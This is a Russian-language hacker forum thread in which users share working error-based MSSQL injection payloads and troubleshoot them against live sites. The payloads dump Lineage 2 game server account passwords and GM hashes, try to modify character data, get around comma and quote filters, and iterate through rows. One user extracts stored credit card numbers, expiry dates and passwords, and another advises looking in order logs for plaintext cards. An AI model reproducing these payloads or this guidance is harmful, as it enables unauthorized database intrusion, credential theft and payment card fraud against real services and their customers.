|
Цитата:
https://forum.antichat.ru/thread28461.html MSSQL Extractor |
to aka PSIH две первые ссылки для MySQL...мне нужно для MSSQL...
|
Цитата:
|
Ну будьте другами, помогите пожалуйста.
Я нифига не въезжаю... В базе данных la2info..sa_names есть всего три колонки (id(int),name(varchar),desc(varchar)) Я делаю запрос =(select+top+1+name+from+la2info..sa_names)-- запрос в ошибке возвращает первую запись в таблице. А вот запрос =(select+top+1+id+from+la2info..sa_names)-- не возвращает вообще ничего(ошибки преобразования в int нет???). Пробую так =(select+top+1+cast(id+as+nvarchar)+from+la2info.. sa_names)-- тоже ничего. Можно попробовать не cast, а convert, например =(select+top+1+convert(nvarchar,id)+from+la2info.. sa_names)-- Но запятая вырезается даже если использовать %2C и выходит convert(nvarcharid)..... Что придумать если посмотреть можно только поля varchar (через ошибку преобразования в int), а нужны и другие типы? to -=megahertz=- Как делал-то колись... ;) |
Цитата:
|
NamahS
Цитата:
Код:
cast (name as varchar)http://hack-shop.org.ru/board/forumdisplay.php?f=18 |
Цитата:
А я блин зациклился на convert(nvarchar,id+"a"), а запятая вырезается....короче зациклило на прямолинейном мышлении :) МЭНИ МЭНИ СЕНКС. Лови репу) Цитата:
|
кажись линейка на сервере том , когда то подобным занимался немного. веб обвязка и ява сервер используют общую базу ...сервер не корейский , а фришный , поставляеться с обвязкой (сборок серверов в природе существует много ) ...но структура таблиц у них отличаеться не координально ...скачай дистриб сервера , загляни в таблицы , пару обвязок найди до кучи , и мозаика сложиться ... ключевое слово в поисковике - Создание сервера LineAge ;)
|
Цитата:
Проблема в том, что при считывании password as varchar возвращается что-то навроде 5ъЎ™ё Є 9 ††KСчч. Я конечно могу руками это перевести в ХЕКС, но где-то видел функцию, которая переводит это на лету... |
А кто-нибудь знает, как расшифровать ХЭШИ, которые в MSSQL от Lineage C6(interlude)?
Или на С++ переписать код шифрования? Цитата:
|
Забейте вы на эту линейку. И не забывай если не можешь узнать можно сменить.
|
Цитата:
для примера: такой запрос и ему подобные проходят /?part=items&id=-35332+OR+1=(select+top+1+cast(password+as+varchar) %2Bchar(97)+from+lin2db..user_auth+where+account=% 22login%22)-- не могу прикрутить к нему второй ((select+top+2+cast(password+as+varchar)%2Bchar(97 )+from+lin2db..user_auth)+where+account=%22login%2 2)-- для перебора ...чтобы и перебор был и условие сохранялось? Где я ошибаюсь в запросе UPDATE ? /?part=items&id=-35332+OR+1=(update+lin2world..user_data+set+hp=%22 202.001%22+where+char_name=%22lalala%22)--......???? Знаки ; , ' вырезаются:( И еще вопрос, чем можно php функцию intval заменить на C++ ? Весь ИНЕТ перерыл кажется. Не нашел ничего. Я так понял, что в ПХП она округляет значение до целочисленного, а в С++ если пользоваться целочисленным типом int, то он просто откидывает дробную часть %)...т.е. 1.6 = 1 |
Возможна ли sql-inj на сервере, где не используется переменная id(в url нет обращения к базе через переменную)? Если да, то как обнаружить возможность injection?
|
Цитата:
или ты просто от нефиг делать его этот сайт пытаешь? |
Цитата:
Дошел до вытаскивания ХЭШей ГМ-ов и т.д....набросал для себя програмку, которая эти ХЭШИ подбирает... Не могу осилить, как сделать так, чтобы выбирать не первое, а второе, третье ... значение + УСЛОВИЕ. Например: /?part=items&id=-35332+OR+1=(select+top+1+cast(account_name+as+varc har)%2Bchar(97)+from+lin2world..user_data+where+bu ilder=1)-- В этом запросе вывожу первый аккаунт где builder=1...рыдаю :) не могу вывести второй,третий... при том же условии builder=1. Еще не могу понять, как можно здесь сделать UPDATE и EXEC....чего только не пробовал....где-то недопонимаю...вот и прошу помощи примерами, чтоб мозаика сложилась :) И еще, так-как не силен в функциях MSSQL, то спрашиваю, есть ли функция наподобие cast(значение+as+varchar), только чтоб возвращала значения не в ASCII или там varchar, а в 16-ричном виде(ХЕКСе)...ну например для тех же ХЭШЕЙ??? |
попробуй так:
/?part=items&id=-35332+OR+1=(select+top+1+cast(account_name+as+varc har)%2Bchar(97)+from+lin2world..user_data+where+ca st(account_name+as+varc har)%2Bchar(97)+not+in+(select+top+2+cast(account_ name+as+varc har)%2Bchar(97)+from+lin2world..user_data))-- единственная проблема во втором select+top+2 более 2К занчений лучше не вводить. |
задам тут свой вопрос.
таблица NAMES содержит поля: --- EXP_MO EXP_YR CARD_NUM --- EXP_MO и EXP_YR успешно выводятся запросом: 1%20or%201=(select+TOP+1+cast(EXP_MO+as+nvarchar)% 2Bchar(97)+FROM+NAMES)-- а вот CARD_NUM при таком же запросе просто перезагружает страницу без ошибки. почему? могут быть в таблицах защищённые поля, которые не выводятся? с полями NM_USERID и NM_PASSWORD такая же фигня происходит. хотя другие поля с именами, адресами и прочим выводятся без проблем. |
У полей разный тип и хотя ты делаешь cast, они вместе могут не выводиться. А отдельно выводится номер карты?
|
Цитата:
1%20or%201=(select+TOP+1+cast(len(CARD_NUM)+as+nva rchar)% 2Bchar(97)+FROM+NAMES)-- не выводится. и длинна паролей так же не выводится. хотя длинна других полей таким образом выводится. |
Разобрался. Просто не все CARD_NUM заполнены. Надо выбирать только NOT NULL.
А карты оказались зашифрованы. Выглядят вот так: KmSrs8ltGQ8WyhlV71dY6$Wl0aaAD реально отсюда как-то получить строку из 16 цифр? :) |
Советую искать другие таблицы, например, orderd_logs и т. п. Там, обычно, plain-text.
|
У меня тоже странная проблема..
Такой запроc 1 or 1=(select top 1 table_name from information_schema.tables)-- выдает ошибку Incorrect syntax near the keyword 'top'. а при запросе 1 or(1=(select(max(table_name))from[information_schema].tables))-- получаю An aggregate may not appear in the WHERE clause unless it is in a subquery contained in a HAVING clause or a select list, and the column being aggregated is an outer reference. |
А что если пишет
Incorrect syntax near the keyword 'or'?? |
Забыл в конце поставить комментарий?
|
Kissa2k, нет конечно, меня интересует, можно ли сделать запрос, дающий тоже самое что и
-1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)-- но без использования OR |
Можно использовать UNION, но тогда придется подбирать кол-во столбцов в запросе.
|
Kissa2k, union тоже фильтруется((((
|
Shadow6120
Ты и в самом деле думаешь. что фильтруется "or" ? Ошибку переведи нормально Incorrect syntax near the keyword 'or' near--около Добавь кавычку,скобку, другую кавычку, смени плюсы, нужное подчеркнуть |
Были такие же траблы,решил с помощью вас
|
| Время: 17:08 |